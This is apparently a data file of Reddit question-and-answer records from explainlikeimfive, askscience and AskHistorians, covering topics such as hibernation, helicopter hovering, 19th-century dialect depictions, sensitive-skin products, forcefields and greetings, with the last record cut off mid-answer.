{"q_id": "qggv4", "title": "hibernation", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qggv4/eli5_hibernation/", "answers": {"a_id": ["c3xem9o", "c3xesgt", "c3xev7d", "c3xg5q1"], "score": [3, 2, 2, 2], "text": ["Animal eats a lot and then sleeps all winter.", "In the winter, it is too cold for various animals to eat, wonder, hunt etc. So they go sleep for 4 months through the winter.", "People who downvote: do you have a better answer?", "Everyone else is throwing their answers so here's mine.\n\nWhat Karl_Robe said is correct. Humans are actually capable of hibernating (I believe, don't take my word for it) for a long period of time and survive if the conditions are right.  Essentially, due to the cold conditions your body shuts down to an idle state that slows your heart rate down to a point beyond normal sleep. The lack of movement and less blood being pumped through your body the less nutrients your body needs to stay alive.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "22shcq", "title": "why no news helicopters circle things they are filming instead of hovering?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22shcq/eli5_why_no_news_helicopters_circle_things_they/", "answers": {"a_id": ["cgpx4ir", "cgpxbj4", "cgpy2gb", "cgpy7ft", "cgpymw7"], "score": [7, 16, 26, 3, 16], "text": ["Hovering is ridiculously difficult especially when it is windy out. ", "It also allows them to take advantage of viewing a scene from many angles.", "There might be safety considerations involved. In case of an engine failure a helicopter can perform an autorotation landing, but to do that it needs either a certain forward speed or a certain altitude.\n\n_URL_0_", "The biggest reason is fuel economy. Hovering a helicopter uses significantly more fuel that flying in a circle.", "Hovering takes a lot more gas. When helicopters reach a certain speed (depending on the helicopter) the rotating blades actually start to act like a fixed wing in addition to the lift that they're providing from spinning so you actually get more lift on helicopter as your go faster, requiring a lower power setting using less fuel. When you slow down and come to hover, you lose that lift and you're going just off of the lift from the rotating blades which means you have to keep it at a higher power setting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://upload.wikimedia.org/wikipedia/en/4/48/Hvcurve.png"], [], []]}
{"q_id": "8wbosj", "title": "why are most humans drawn towards touching things that stick out at us; for example leaves and certain points on statues?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8wbosj/eli5_why_are_most_humans_drawn_towards_touching/", "answers": {"a_id": ["e1u74lj"], "score": [2], "text": ["things sticking out of other things are a hazard. it could be a snake dropping g down from a branch to coil you up for dinner, it could be a branch that will knock you the fuck out of you're running through the woods at night... we are hardwired to pay attention to things that may injure us, may feed us, or may mate with us. all sensory functions serve one of these three tasks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2xxgwb", "title": "Accuracy of 19th century descriptions of African American Vernacular English", "selftext": "Do there exist 19th century texts that attempted to accurately describe or represent the speech patterns or dialect that we now call African American Vernacular English?  Are books like \"Huckleberry Finn\" reasonably accurate in the way that they depicted African American speech patterns during that period, or are they exaggerations?\n\nI assume that many depictions of African American speech during that period, such as minstrel shows, were principally concerned with so-called \"comedy\" rather than faithful representations of speech patterns.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2xxgwb/accuracy_of_19th_century_descriptions_of_african/", "answers": {"a_id": ["cp5ebny"], "score": [2], "text": ["I've worked with a book called *The Roving Editor* a few times now for various projects. It was published in 1859 by James Redpath, a reporter for the *New York Tribune* and radical abolitionist. The book was essentially the compilation of a series of newspaper columns he had secretly written and sent north while traveling the South via various covers and temporary newspaper jobs. His overall goal was to obtain secret interviews with slaves wherever he could while also reporting on overall conditions of slavery and the South. I find it to be a highly significant travel account because, as you might imagine, most firsthand accounts by slaves were collected after the war whereas these interviews were conducted before slavery's official end (publication in 1859, travels/interviews in 1854 and 1857).\n\nRedpath is about as radical as it gets when it comes to his abolitionism and advocacy of rights for African Americans, yet often his transcriptions of his conversations with slaves show highly different language styles depending on who's speaking. Slaves certainly speak with a different style than Redpath himself or even white Southerners. So how do the nuances of spoken languages get onto the page?\n\nRedpath wasn't able to record or copy out every syllable of his interviews, so he used stenography (a standardized style of shorthand, the specific kind escapes me right now) to compile his notes in real time. In other words, his notes did not include anything denoting the vernacular styles, accents, etc of the people he interviewed, except perhaps word choice. This means, so far as I can tell, that he must have recreated these dialects when turning his notes into a newspaper narrative after the fact. Redpath took active control of the formation of his interviewees language and clearly altered it according to the race and circumstances of the person involved. What we read in *The Roving Editor* is not literal transcriptions of African American vernacular but rather Redpath's mimicry of them, subject to his own perceptions, memory, and interpretation of it.\n\nDid Redpath purposefully distort his interviews? I doubt it, as it would have run counter to his overall persuasive goals regarding slavery as well as his stated beliefs about the intelligence and humanity of African Americans. But Redpath was, like everyone else, subject to his own biases and perceptions of what he encountered. Abolitionists were certainly not exempt from racialized ideas and beliefs.\n\nThe idea of \"accuracy\" of language in topics like this is tricky. A person like Redpath or Mark Twain (since you mentioned Huck Finn) are certainly going to have these biases and interpretations of African American language and culture, and it will affect their portrayals. But writers for the public also need to craft their images in ways which their audiences (who themselves have all this \"baggage\") will accept as legitimate. Perhaps everyone involved was creating lies they could agree upon.\n\nHistory is sometimes viewed the same way, as lies agreed upon. It is at times difficult and/or problematic to think of history as containing some completely accurate record of, say, African American vernacular rather than something with slightly blurred edges, made problematic by the incomplete and fallible record we have at our disposal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4gsp4s", "title": "A lot of skin products offer a \"sensitive skin\" alternative. What is the usual difference in ingredients and why is this better for sensitive skin?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4gsp4s/a_lot_of_skin_products_offer_a_sensitive_skin/", "answers": {"a_id": ["d2kppxa", "d2ksrqd", "d2l034s", "d2l06ip", "d2l0756"], "score": [78, 15, 7, 15, 5], "text": ["There is no regulated meaning, so companies can almost make that claim on anything, it's marketing.  \n\nThat being said, for bigger companies which have a lot more oversight (both internally and externally), sensitive skin formulations are generally compositions that have nonfunctional ingredients removed, or that use alternative ingredients known to be less irritating.\n\nAn example of this are baby wipes.  Always buy the sensitive skin baby wipes, avoid the regular ones.  Why?  The preservative used in the regular ones isn't actually recommended for a leave-on product, actually, it's specifically restricted as a leave-on.  (methylisothiazolone (MIT) if you're wondering.)  The thing is, you wipe your baby's butt with the wipe, and the liquid isn't rinsed off, it's essentially a leave-on, they should not be doing this.  \n\nSome people are immediately sensitive to MIT, and they have rash develop.  MIT exposure is sensitizing, meaning each time your skin has a reaction, the next time is worse.  (Poison Ivy is a similar thing actually.) \n\nSensitive formulations use sodium benzoate as the preservative, which is a food-grade preservative without the sensitization issues.\n\n", "The P & g guy gave a formulary reasoning but the other side is *testing*. Often to make a sensitive skin claim besides the ingredients used a company will often use a panel of people and ask them questions about application and take empirical data (pictures etc). There's a common test used called a patch test that can predict skin sensitivity. \n\n\nSo couple ingredients with verification and you can make a \"sensitive\" claim (in the US). \n\n\nProcess engineer in consumer products for 20+ years. ", "Usually it's just a lack of dyes and fragrances, but it varies.\n\nOften they will add \"soothing\" ingredients like aloe.  I thought for years my skin was super sensitive.  As it happens, I'm only sensitive to aloe.  So the sensitive skin products were really irritating my skin. ", "I work for a company that produces products for babies which are all geared to being chemical free or having fewer chemicals. This is a tough one. For example, people call us up and complain that the shampoo doesn't lather up as well as their regular brand and it doesn't have the same shelf life or the same rich aroma. \nThese all come about by leaving out SLS, parabens and other preservatives and chemical nasties. We even produce a vast range of diapers (nappies) which use oxygen rather then chemicals to bleach the fabric. These also degrade in only 4 years against 400 years. The \"plastic\" is in fact cornstarch!\nWe get a hell of a lot of parents writing in to say that their kids are diaper-rash and eczema free for the first time. \n\n", "One thing to watch out for if you have sensitive skin is the preservative [Tocopherol](_URL_0_), which is basically Vitamin E and is used in a lot of cosmetics, soaps, and shampoos, including \"all natural\" ones. Over time, you can develop a sensitivity to it that causes a rash (I did). Per Wikipedia:\n\n > Vitamin E is widely used as an inexpensive antioxidant in cosmetics and foods. Vitamin E containing products are commonly used in the belief that vitamin E is good for the skin; many cosmetics include it, often labeled as tocopherol acetate, tocopheryl linoleate or tocopheryl nicotinate. Some individuals experience allergic reactions to some tocopheryl esters or develop a rash and hives that may spread over the entire body from the use of topical products with alpha tocopheryl esters\n\nI discovered this after using Dr. Bronners Castille Soap for several years and started developing a rash, which I eventually traced to the soap. The only unusual ingredient in these soaps is Tocopherol and, after switching to Nature's Way Organics -- which doesn't have it -- several years ago I haven't had any issues. What's odd is that Dr. Bronners even includes Tocopherol in their Unscented baby soap."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Tocopherol"]]}
{"q_id": "1f4j61", "title": "Two objects of mass X in otherwise empty space. At what distance is their gravitational attraction in equilibrium with the expansion of space?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1f4j61/two_objects_of_mass_x_in_otherwise_empty_space_at/", "answers": {"a_id": ["ca6sw5y", "ca6tefv"], "score": [2, 19], "text": ["I'll give it a try. First, we have to make sure that we don't confuse the expansion of space as a force driving two objects apart. Strictly speaking, the objects are not moving but the coordinate system is. This causes the physical distance between two objects to increase with time. \n\nThe Hubble constant can give us the *speed* with which these objects move apart. Again, beware that this is not a acceleration, which would be needed to calculate the force. You could then simply set the forces equal, which we can't since we don't have a force. \n\nThe speed you can measure from a point of reference, say the first object of mass M, is given by the Hubble speed v = H_0 * D, where H_0 is the Hubble constant and D is the distance between the objects. \n\nMy quick attempt to answer your question would be the following: If we assume that the objects don't have a VERY strong gravitational attraction, we can simply use the laws of Newtonian gravitation. The potential energy of the second object at distance D from our point of reference (the first object, we set the potential = 0 at D=infinity), would then be given by E=-G M^2 / D, where G is the gravitational constant and M is the mass. \n\nIf we initially assume that the objects are not too far apart so that the expansion speed is nowhere near the speed of light, we can try to assign the second object a kinetic energy of E = 1/2 M v^2. Now we set kinetic energy and potential energy equal. Rearranging the variables gives us a distance, at which the potential energy and the kinetic energy are equal, namely D=(2 G M/H_0^2 )^1/3. \n\nFor an object of mass M=1kg this would be distance of 3*10^8m, which means we didn't make a huge error assuming that the obects don't move near the speed of light. I suppose my attempt is too simplistic, but this is the only simple way I could think of solving the problem analytically. I beg for corrections or further comments on my results.\n\nEdit: formatting", "The Universe doesn't just expand on its own. The expansion is linked precisely to the *matter content* of the Universe. So an empty Universe isn't going to be doing any expanding.\n\nSo, by \"otherwise empty\" I'm going to assume you don't mind there being vacuum energy (or a positive [cosmological constant](_URL_1_)) in your spacetime, because otherwise there's nothing to balance out the gravitational attraction of the two masses. Then the gravitational attraction between the two masses and the repulsion of the cosmological constant will balance out at a distance of (48GM/\u039b)^1/3 where M is the mass of either object and \u039b is the cosmological constant.\n\nLet's say instead that the Universe isn't empty, but it's filled with some stuff (galaxies and such) so that it expands just like we see it doing today. That's a bit tougher to calculate, but let's make a reasonable assumption. We'll say that the Universe is uniform *except* for a spherical region which we mark out by putting our two masses on its edge (directly opposite each other). Then, if the Universe is expanding with a [Hubble rate](_URL_0_) H, then the two masses (each of mass M) will break away from the cosmic expansion and collapse towards each other if the distance between them is less than (32GM/H^2 )^1/3 .\n\n---\n\nEdit 1: Note that in this scenario they *won't* ever balance out and stay at a constant distance. Either they'll keep expanding away from each other forever, at exactly a distance of (32GM/H^2 )^1/3 , or at any closer distance they'll collapse into each other.\n\nEdit 2: One last thing. Let's say I wanted to combine the two scenarios. So I have an expanding Universe filled with regular matter, but I want to carve out a sphere and put masses at each of the poles. It turns out that this is exactly the same as the first scenario we considered where the Universe was empty. This is because gravity (both Newton's and Einstein's) obeys the *spherical property*, that in a spherically symmetric gravitational field, you only feel the mass interior to you. So the outside doesn't matter, as long as it's uniform. You can have a completely empty outside or an outside filled with matter, and as long as that matter is evenly distributed, the sphere we've carved out couldn't care less. So the answer is the same, the attraction and repulsion of the two masses will balance out at a distance of (48GM/\u039b)^1/3 ."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Hubble_constant", "http://en.wikipedia.org/wiki/Cosmological_constant"]]}
{"q_id": "17wtda", "title": "[Physics] Which of these two rockets will fly higher, and why?", "selftext": "_URL_0_\n\nI'm basically interested in the efficiency difference between a rocket and a bullet.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17wtda/physics_which_of_these_two_rockets_will_fly/", "answers": {"a_id": ["c89ktsi"], "score": [9], "text": ["Without a [nozzle](_URL_0_), the one on the left probably isn't going anywhere.  The one on the right has a better opportunity to transfer the high internal pressure into kinetic energy.\n\nEdit: Don't expect the internet to do your homework for you."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/VGD0hST.png"], "answers_urls": [["http://en.wikipedia.org/wiki/Rocket_engine_nozzle"]]}
{"q_id": "136cfg", "title": "Are forcefields, similar to the ones we see in science fiction, theoretically possible? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/136cfg/are_forcefields_similar_to_the_ones_we_see_in/", "answers": {"a_id": ["c716nje", "c716ur3", "c716v00", "c719p2z", "c71e5k6"], "score": [17, 13, 16, 5, 2], "text": ["The Straight Dope guys wrote an article about that question in 2002:\n\n[Is it possible to create a science fiction-type force field?](_URL_0_)", "Many things are \"theoretically possible\" but may not be physically possible, or worth it.\n\nTake for example wormholes, they are theoretically possible. However they require exotic matter that has imaginary mass to keep them stable. We are fairly sure that exotic matter doesn't exist, and what the hell is imaginary mass? \n\nTheoretically though, I could make a wormhole, if I could somehow get exotic matter which may be impossible. Let's say we got some anyway. Then it's possible.\n\nHowever stable in what sense? How much exotic matter is required? Does it allow macro sized objects through it? This is what comes to is it \"worth it\" I often hear estimates not sure if they are correct of the mass of the sun required to keep a wormhole stable for an hour. The mass of the sun, in exotic matter, the probably impossible to create stuff, just for an hour.\n\nSo it's possible theoretically, not practical and not possible in reality most likely.\n\nSo to get back to your question.\n\nI can imagine a force field very easily and in a sense we use them every day, however you don't count those as force fields you want an actual force field like in the movies. Examples of force fields we use are simply electromagnetic forces, we can control matter and where it goes, repel and attract it, and control that at extremely violent scales with strong electromagnets. However they don't repel everything, and it's not a \"wall\" but it's spread out extremely far. However we are used to force fields in every day life that would satisfy your result but not you. You may take for granted that your hand doesn't go through a wall, in reality it should, but the same force that drive magnetism and electricity which is electromagetism governs how objects interact. Thus your hand simply doesn't pass through a wall because there is a \"wall\" of strong electromagetic potential which interacts and stops your hand at a macro scale from just passing through it.\n\nYou don't want a wall though, but it's a force field! It's the exact same thing! A natural one! So lets make it more your force field.\n\nI could imagine suspending a very thin film of atoms around an area, such as a door way opening, held in place via electromagtism, through manipulation it would be possible to give that thin film the same repulion over a small enough area as a thick wall, as thick as you want really but it will only really stop particles that interact with electromagetism, so of course you. The problem is I can only imagine a way to make this a reality that would satistify you, how much energy it would require to keep it stable at a strengh you would be satisfied with(Does it stop people? Projectiles? Everything?) would mean if it's really possible. In reality it could be improbable, yet doable. The reason I choose this is because I can also imagine it being invisible by not imiting light in the visible spectrum, and you could manipulate colour if you chose to manipulate it in such a way. This also allows the ability to \"turn\" off the field, releasing the atoms back into the air that were held in place. Turned back on could take any atoms out of the air required stablizing the film again. \n\nHowever we overcome those hurtles in real life, I can imagine a simple \"force\" field that is being implemented today. A simple system which monitors an area around a tank, if it detects a high projectile coming at the tank it fires a blast of bullets at the target to stop it before it hits the tank. This is ingenious, and using little to no power, simple measuring devices which also rely on good old electromagetism, and then we shoot objects at rockets to blow them up before they hit us. Brilliant. Alternatively this can be used to shoot any moving object but is being tested first at higher velocity objects such as RPGs.\n\nSo in a way anything is \"theoretically\" possible and sorry for the long winded explanation, if it's physically possible is the question. I could tell you yeah we could make a force field like the movies, above I suggested how I would TRY to do it, but what if it required the energy of a city to sustain a meter wide field that could only block low end projectiles. What use could that practically have?\n\nTL:DR A forcefield that you are familiar with is a wall, because at those atomic scales you can not pass through due to paulis exclusion principal and electromagnetic interactions on a concentrated scale. Glass would be an \"invisible force field\". So a possible force field that would be able to turn on and off is a simple doorway that I can imagine, a thin film of atoms held, and manipulated to concentrate the electromagnetic force over the film to not allow solid objects through, essentially telling it to be a very thin strong wall. Turn the door off the thin film of atoms goes back into the air, and you can restablize it by again electromagnetic fields which would align the film and concentrate it again. It would/could be see through OR glowing, you could decide essentially the colour. depending on the materials you used. This should satisfy your force field design.\n\nFood for thought I hope, not meant to be taken literal, and no calculations used because it doesn't matter. It's theoretically possible, doesn't mean it's possible.", "A 'hard light' force field? No.\n\nA force field comprised of protons and electrons held together by the electromagnetic force? We have those already. Doors. Walls. Fences. Etc.", "Well a [plasma window](_URL_0_) is kind of like a force field.", "First we have a semantics issue:  What is a forcefield?  It can either be defined as an intangible but definite barrier, through which no hostile weapons can pass, or as a definite and identifiable barrier through which no hostile weapons can pass.  What would be the difference?\n\nWell, the US military has something that COULD be a forcefield.  It involves cameras and mini-weapons fire that detect an incoming RPG and shoot the RPG, ensuring the RPG does not detonate past a certain barrier.  In other words, while there is no magical field of energy that is constantly surrounding the humvee, RPGs cannot pass this barrier.\n\n_URL_0_\n\nIgnore the article talking about invisible beams and such - the system as has been demonstrated since then suggests projectiles are used.\n\n_URL_1_\n\n\nThe British military DOES have that electronic barrier though.\n\n_URL_2_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.straightdope.com/columns/read/1990/is-it-possible-to-create-a-science-fiction-type-force-field"], [], [], ["http://en.wikipedia.org/wiki/Plasma_window"], ["http://www.theregister.co.uk/2006/04/12/trophy_system/", "http://en.wikipedia.org/wiki/Trophy_(countermeasure)", "http://www.telegraph.co.uk/technology/news/7487740/Star-Trek-style-force-field-armour-being-developed-by-military-scientists.html"]]}
{"q_id": "2ctk5u", "title": "Has the US ever had it's own version of a hung parliament?", "selftext": "Obviously our two-party system is \"strong\" enough to prevent it from happening now. But given the fact that in the hypothetical hung parliament scenario, you would need a coalition congress not only to elect a speaker, but the same coalition for every committee and for pretty much all procedural purposes. This seems like such a mess that I can't imagine it ever working.\n\nSo my question is: has such a situation (no majority party in one or both houses of congress) ever happened in US history and how was it handled?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ctk5u/has_the_us_ever_had_its_own_version_of_a_hung/", "answers": {"a_id": ["cjiybcp"], "score": [3], "text": ["Not that long ago there was an even 50-50 split in the U.S. Senate (107th congress).\n\nThey came to a \"power sharing\" agreement on leadership, committee budgets, etc.\n\nInitially the Democrats were the \"majority\" party (because Gore was VP), and then the Republicans were (because Cheney became VP).\n\nMidway through the term Jim Jeffords (R-VT) decided to caucus with the Democrats (essentially leaving the Republican party), and the chamber was reorganized with the Democrats in the majority. At this time the \"Power Sharing\" arrangement was discarded as well.\n  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1j0vb0", "title": "Dear AskHistorians, can you help me find more information about \"Cossack Girl\" Marina Yurlova?", "selftext": "I realize that this is very much a long shot, but here it goes anyhow. I hope I've come to the right place to ask, if not, please kindly point me in the right direction.\n\nI'm a documentary filmmaker currently working on a project about World War I, which includes some parts about [Cossack Girl](_URL_0_) author Marina Yurlova.\n\nShe grew up in Imperial Russia, in the village of Raevskaya, near Krasnodar. According to her books, she followed her father into World War I, never found him, and eventually emigrated via Japan to the US. [Here](_URL_1_) is the only known photo of her still in Russia.\n\nI have found a wealth of information about her after arriving in America (marriage, residences, publications, patents, etc.) - but absolutely nothing about her previous life in Russia, aside from her books.\n\nHer father (identified as Colonel Yurlov of Raevskaya and Ekaterinodar) was supposed to be a very famous Cossack officer, yet I have found no trace of him.\n\nAlso, she twice received the St. George's Cross for bravery, yet again, I can find no information about her, save from her books...\n\nIf anyone has any information about her, her father, their home village, I'd be very grateful.\n\nEDIT: clarified photo reference.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1j0vb0/dear_askhistorians_can_you_help_me_find_more/", "answers": {"a_id": ["cba7opn", "cbac3q8"], "score": [2, 2], "text": ["I found her in one footnote in a historical article, Melissa K. Stockdale, 2004, \"'My Death for the Motherland Is Happiness': Women, Patriotism, and Soldiering in Russia's Great War, 1914-1917\", *American Historical Review*, pp. 78-116.\n\nOne page 85:\n\n > Many other women had to resort to subterfuge in order to become soldiers.  Alekseevna Krasil'nikova, the daughter of a mineworker from the Urals, disguised herself as a man and enlisted Anatolii Krasil'nikov; she took part in nineteen battles and was awarded the St. George's cross for valor.  Twelve Moscow *gymnaziia* students ran off together to the army, gaining support from soldiers who agreed to disguise them as boys, find them uniforms and rifles, and teach them to shoot.  As one of them later told a reporter, \"It was a bit terrible at first . . . , but the desire to see the war and ourselves kill the Germans overcame all other sentiments.\"  By the time the authorities realized their deception, outside Lemberg (L'vov) in Galicia, it was agreed they could continue to serve. ^18  A number of women disguised themselves so successfully that their sex long remained secret, as was the case with Marfa Malko, a junior officer's wife whose real identity was not discovered until she was imprisoned in a German POW camp.\n\n >  All told, the number of women who served in the Russian army as combatants from 1914 to 1916 was, at a minimum, forty-nine, but probably closer to several hundred, individuals.^19 As insignificant as these figures are when compared with the legions of women working for Russia's war effort in other capacities, the appearance of armed female soldiers in the regular army was nonetheless remarkable: with the exception of women who fought with the Serbs and the Austrians, this phenomenon in World War I was confined to Russia.  And it was by no means a Russia tradition, since the imperial Russia army was as exclusively a masculine perserve as were the armies of every other belligerent, and one in which misogyny was strong.\n\nThe relevant food note is 18:\n\n > *Zhenshchina i voina* (March 1915): 11; \"Young Girls Fighting at the Russian Front,\" *New York Times Current History of the European War (May 1916): 267; \"Those Russian Women,\" Literary Digest (September 29, 1917): 53; Brusianin, *Voina*, 62-63, 105-06.  The sensationalized autobiography of a girl who joined a Cossack unit is Marina Yurlova, *Cossack Girl* (New York, 1934).\n\nThat's all that I saw glancing at the article, but you may be interested in article as general background for the period (getting something published in the *American Historical Review* is about the historical equivalent of getting something published in *Science* or *Nature*--it's a big deal).  You can request the article from /r/scholar.  \n\nYou know she was a dancer as well, right?  Yurlova I mean.  See the [NYT archive](_URL_0_).  I just checked the Times archive, but several other places have also digitized their archives back beyond the period in question.  With a subscription to an academic institution, you can look at other newspaper databases like ProQuest (there are a couple of other non-specialists newspaper databases that go back to this period beyond the Times's archive--one of the British ones just recently digitized all their records, though I forget which).", "I'm still doing some research but here are a few things I've noticed so far.\n\n~I've had a lot of luck searching Google using the Russian language. I typed what I wanted to search into Google translate and had it translated to Russian. This will give you Russian websites that you can then translate back to English. I have Google Chrome which automatically translates webpages into English for me.\n\n~I have found several 'famous' Colonel Yurlovas but none were alive around the time of WWI. I assume in the book she names him but if you found that info somewhere else perhaps there was a confusion."]}, "title_urls": [], "selftext_urls": ["http://www.heliograph.com/buy/CossackGirl-ePDFsales-Sampler-v1.pdf", "http://i.imgur.com/jP8eEHv"], "answers_urls": [["http://query.nytimes.com/search/sitesearch/#/Marina+Yurlova"], []]}
{"q_id": "6uplrp", "title": "why do we use stars as a rating system?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6uplrp/eli5_why_do_we_use_stars_as_a_rating_system/", "answers": {"a_id": ["dluie31", "dlumj1u", "dluodch"], "score": [3, 6, 6], "text": ["What would you rather have spiders? Okay so say we use your weird spider based raiting system? Could you imagine opening up your sunday newspaper and its full of spiders because this weekends blockbuster was a hit and everyone was giving it 9/10 spiders. See stars make sense because they aren't spiders. ", "So apparently a guidebook from the early 1800's used exclamation points and then later another guidebook borrowed the system but used stars.\n\n_URL_0_", "I would venture the guess that the Michelin star rating probably helped solidify stars as a well known rating symbol.  They are hard to acquire, making the \"worth\" of stars perceived higher than other symbols around when they started the Michelin system.  Others saw it's notoriety and cloned it with different rating requirements.  But I could be way off.... "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.m.wikipedia.org/wiki/Star_(classification)"], []]}
{"q_id": "3zp5k6", "title": "why is \"how are you?\" a greeting and not a question in the usa?", "selftext": "Visited USA one time. Everywhere people said How are you? and my friend told me to not reply to the question, but instead just reply with \"How are you?\" It made me go slightly mad after a while, as they have people hired to just say How are you? whenever you enter a store, and I'm used to not just say \"okey\" when someone asks me how things are. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3zp5k6/eli5_why_is_how_are_you_a_greeting_and_not_a/", "answers": {"a_id": ["cynvvot", "cynvycd", "cynw9wa", "cynwa7h", "cynwc67", "cynwmds", "cynzut0", "cyo3svp"], "score": [5, 2, 5, 2, 11, 2, 2, 2], "text": ["There's nothing wrong in British English use with \"Fine thanks, and you?\", and as far as I know this would be acceptable in American usage too.", "As an American my whole life, idk. It drives me crazy too. More because I feel like I have to explain my life to everyone who says it. It's intended as an impersonal greeting that sounds like it's personal. Basically pretending to care when they don't. It's worse when you ask it genuinely and they say hi in return.  I'm no self hating American, but a lot of us don't think much on anything, so silly mannerisms like this tend to spread quickly. Even worse is the sudden pervasiveness of the word 'literally' used in place of 'figuratively' to exaggerate. Every time I hear it I'm reminded of valleygirls from the 90's abusing the word 'like'.", "It's a fairly universal greeting, Hi, how are you? I'm good and you? Is the typical routine.\n\nSpanish, French and Italian have a similar greeting. Como estas? Bien y tu? If I knew any Asian languages I bet a similar greeting exist for them.\n\nIn modern times it's a question where the typical asker doesn't care what the answer is. Especially when the asker is a cashier or door greeter", "Common elsewhere too.  Eg\nFrance \"(Comment) \u00e7a va ?\" = \"(How)  is it going?\" ; response \"\u00c7a va.  Et vous ?\" = \"It's OK.  And you?\" \nChinese \"Ni h\u0103o ?\" = \" You good?\" ; response \"Hen h\u0103o ,  hen h\u0103o.  Ni ne ?\" = \"Very good,  very good.  And you?\" \n", "Your friend gives bad advice.\n\nThere's all sorts of valid responses. \n\n* \"I'm fine, thanks.\"\n\n* \"Quite well. And yourself?\"\n\n* \"As well as could be expected.\"\n\n* \"I'm glad to report that cold of mine is gone, so pretty good now.\"\n\n* \"Better than a hopeless geek during a Nicolas Cage movie marathon!\"\n\n* \"Awesome. Your wife bangs great!\"\n\nAnd the highly useful\n\n* \"Well, these open sores on my buttocks just don't seem to want to go away. Would you like to see them?\"\n\nThe point is it's an opportunity for a conversation and introduction. I usually go with something a little less common than the \"fine thanks and you\" that can get you caught in an Inception conversation loop, but still tasteful. The best answer is to lead into something else \"Great. Hey, did you see the game last night?\" if you know they're a sports fan, or something that might be a little bit about them. \"Did you enjoy the Christmas break?\"", "It is a question, but one with only one answer. If you are not close with a person, you fall into a weird grey zone, where you are expected to care about those around you, but also not to burden everyone around you with all of your problems. So it becomes a ritual, where you express interest in their well being, and they let you off the hook with an \"I'm good.\" With closer friends it is more common to get an actual answer to that question.", "It's about manners and etiquette.\n\nAlthough I feel things have been explained incorrectly to you. It's fine to say \"I'm okay\" in response. Or even to give a more pessimistic or general acknowledgement of how shit life can be. Or maybe even a joke \"Things are like my sex life .....up and down\" \n\nHowever, it's not typically the case that the person asking actually wants to hear if you're not ok - this is the sense in which it isn't a real, sincere question about your well being.\n\nHowever, if your spouse or parents ask \"how was your day?\" - they probably do want more than a grunted response.\n\n[There's a programme on radio 4 at the moment with David Mitchell looking at manners](_URL_0_)\n\n Supposedly part of the reason for people being more polite stemmed from the need for people to trade with one another in the middle ages.\n\nA lot of the etiquette though - things like \"being polite by using the correct fork or eating soup in a particular fashion\" was more about the French upper classes separating themselves from middle and lower classes with these rituals.", "Had a similar experience when I, an American, lived in London for a few months and had to adjust to being as \"You alright?\" (or, more commonly, \"Y'ullrigh?\"). Was so used to being asked that because I have Resting Sad Face that I thought it was more of the same.\n\nIt really is just a different way of saying hello, and like others said, you respond briefly. You can say \"Eh, been better\" or something if you've had a bad day, but when it's small talk--especially with people you don't know--it's not polite in America to talk in detail about how you're doing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.bbc.co.uk/programmes/articles/43Ghst5Qrfnys70XQp8gNyy/are-you-getting-ruder"], []]}
{"q_id": "2soupo", "title": "why do people still use handkerchiefs", "selftext": "I have just seen on elderly man use a handkerchief and it had me wondering why anyone would still use a handkerchief when tissues are readily available. I've never used one so correct me if I'm wrong, but surely washing one of these daily(?) would be more of a hassle than buying a pack of tissues for your pocket. Not to mention that you can share a pack of tissues if you need to? \n\nI would think that it's an old habit dying hard, but I have seen young(er) people use them.\n\nExplain how anyone could find it more convenient or sanitary to use a crusty handkerchief instead of tissues.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2soupo/eli5_why_do_people_still_use_handkerchiefs/", "answers": {"a_id": ["cnri7ar", "cnrimfo", "cnris2l", "cnrj759", "cnrjgin", "cnrjjmz", "cnrjygw", "cnrkjab", "cnrknyv", "cnrkqpn", "cnrkv5d", "cnrkvji"], "score": [2, 6, 8, 3, 2, 17, 2, 7, 3, 2, 6, 5], "text": ["They arnt readily available when you're out unless you use your sleeve or toilet paper or napkins. ", "They're much softer and durable than kleenex. I don't keep one on me, but I keep one in my car for boogie time. ", "Some people have allergies to Kleenex or a sensitive nose if tissue is used too often. So a handkerchief is the best alternative. \n\nIt's also more environmentally friendly ", "My grandfather used to use one.  There are a couple misconceptions, many of which I had at the time.  First you have a few of them so you do throw them in the wash each day. Second, there is a specific way of folding and using one that allows you to use it many times a day without rubbing snot on yourself.  After receiving an quick demonstration I wanted to switch. However he was a much better put togeather and classy guy than I could ever dream to be so I use paper like a pleb. ", "Depending on the amount of snot you produce, using tissues can be quite wasteful and carrying enough for a day can take a lot of space. If you aren't sick, just allergies or something with clear snot, then the handkerchief isn't particularly germy or gross.", "People with bad hay fever have near constant drainage. This basically water. The handkerchief doesn't even get crusty half of the time. When your nose is constantly running, the cost of tissues 